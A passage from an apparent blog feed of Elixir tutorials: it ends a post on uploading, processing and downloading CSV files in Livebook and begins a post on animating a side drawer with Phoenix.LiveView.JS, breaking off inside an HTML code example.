&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Header 1,Header 2&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\r&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;Row Item 1.1,Row Item 1.2&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\r&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;Row Item 2.1,Row item 2.2&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\r&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unfortunately, I haven&apos;t figured out how to upload multiple files at once yet. The &lt;code&gt;Kino.Input.file/1&lt;/code&gt; function only allows a single file upload, but if you know a workaround, please &lt;a href=&quot;https://twitter.com/pjullrich&quot;&gt;tweet at me&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Now you have the file contents in memory! You probably want to process the contents somehow, so let&apos;s look at that next.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#process&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;process&quot;&gt;&lt;/a&gt;Process&lt;/h2&gt;
&lt;p&gt;How you&apos;ll process the file contents depends on your use case and the file type. In this example, I have a simple CSV file through which I want to iterate. I&apos;ll use the &lt;a href=&quot;https://github.com/beatrichartz/csv&quot;&gt;CSV&lt;/a&gt; library for that. This is an overview, the code is below:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/files_in_livebook/processing.png&quot; alt=&quot;A screenshot of a Livebook which shows the code mentioned below.&quot; /&gt;&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;output&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;path&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;stream!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;CSV&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;decode!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;headers: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;row&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;IO&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;inspect&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;row&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Header 1&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Row Item 1.1&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Header 2&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Row Item 1.2&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Header 1&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Row Item 2.1&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Header 2&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Row item 2.2&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this code, I open a &lt;code&gt;File.stream!/1&lt;/code&gt; to the file, which reads the file line-by-line instead of loading everything into memory at once. I then decode the string content to CSV data and iterate over every row. I use the &lt;code&gt;headers: true&lt;/code&gt; option to tell CSV to give me a map with the table headers as map keys. This prevents issues when e.g. the order of the table headers changes. The map keys here will always stay the same regardless of their order in the table.&lt;/p&gt;
&lt;p&gt;Next, let&apos;s see how we can download a file that contains our processed output!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#download&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;download&quot;&gt;&lt;/a&gt;Download&lt;/h2&gt;
&lt;p&gt;To download a file, you can use the &lt;code&gt;Kino.Download.new/2&lt;/code&gt; function. It expects a string based content though, so we can&apos;t simply pass our list of maps into it. We first have to encode our CSV data again and merge everything into one long string. Here&apos;s an overview, the code is below:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/files_in_livebook/download.png&quot; alt=&quot;A screenshot of a Livebook which shows the code mentioned below.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;First, we need to merge our output CSV data into one long string. We can do that like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;output_content&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;output&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;CSV&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;encode&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;headers: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Header 1,Header 2&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\r&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;Row Item 1.1,Row Item 1.2&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\r&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;Row Item 2.1,Row item 2.2&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\r&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, we have a long string in our &lt;code&gt;output_content&lt;/code&gt; variable. Notice that &lt;code&gt;CSV.encode/2&lt;/code&gt; adds the necessary &lt;code&gt;\r\n&lt;/code&gt; suffixes after every line. When we download the file, these line breaks are respected and we&apos;ll receive a properly formatted CSV file back.&lt;/p&gt;
&lt;p&gt;Here&apos;s how we create the download:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Kino.Download&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;output_content&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;filename: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;output.csv&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;label: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Output File&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Livebook will render a little download button where we can download the file with the filename &lt;code&gt;output.csv&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or &lt;a href=&quot;https://peterullrich.com/course&quot;&gt;video course&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/work-with-files-in-livebook"/>
    <id>https://peterullrich.com/work-with-files-in-livebook</id>
    <title>Work with Files in Livebook</title>
    <updated>2023-11-06T07:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Welcome back to another blog post!&lt;/p&gt;
&lt;p&gt;Before we begin, one question:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;When a building goes to a party, what does it wear?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;Address!
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright. Yesterday, I &lt;a href=&quot;https://twitter.com/PJUllrich/status/1692938155572248786&quot;&gt;tweeted&lt;/a&gt; about my struggles to animate a side drawer in LiveView. You folks asked me to write about it, so here&apos;s a quick dive into how to animate a side drawer using &lt;a href=&quot;https://hexdocs.pm/phoenix_live_view/phoenix.liveview.js.html&quot;&gt;Phoenix.LiveView.JS&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-setup&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-setup&quot;&gt;&lt;/a&gt;The Setup&lt;/h1&gt;
&lt;p&gt;Our setup is pretty simple: We have a full-width div element that shows our content and a side drawer on the left side. We want to show and hide the drawer using some icons. Here&apos;s the code without any show/hide functionality. For brevity, I removed any CSS classes that are not relevant to the show/hide logic.&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;container&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;drawer&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;drawer-content&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;w-60&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our goal is to add two buttons that show and hide the side drawer. Let&apos;s get started.&lt;/p&gt;
&lt;h1&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#without-transition&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;without-transition&quot;&gt;&lt;/a&gt;Without Transition&lt;/h1&gt;
&lt;p&gt;The easiest option for showing and hiding the drawer is to add two buttons and add the &lt;a href=&quot;https://hexdocs.pm/phoenix_live_view/Phoenix.LiveView.JS.html#show/1&quot;&gt;JS.show/1&lt;/a&gt; and &lt;a href=&quot;https://hexdocs.pm/phoenix_live_view/Phoenix.LiveView.JS.html#hide/1&quot;&gt;JS.hide/1&lt;/a&gt; calls as a &lt;code&gt;phx-click&lt;/code&gt; to them. Here&apos;s the full code:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;container&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;relative&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;drawer&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;z-10 absolute&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;drawer-content&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;w-60&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;button&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx-click&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;lbrace;JS.hide(to:&lt;/span&gt; &quot;#drawer&quot;)&amp;rbrace;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;.icon name&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&quot;hero-arrow-left&quot; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;button&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
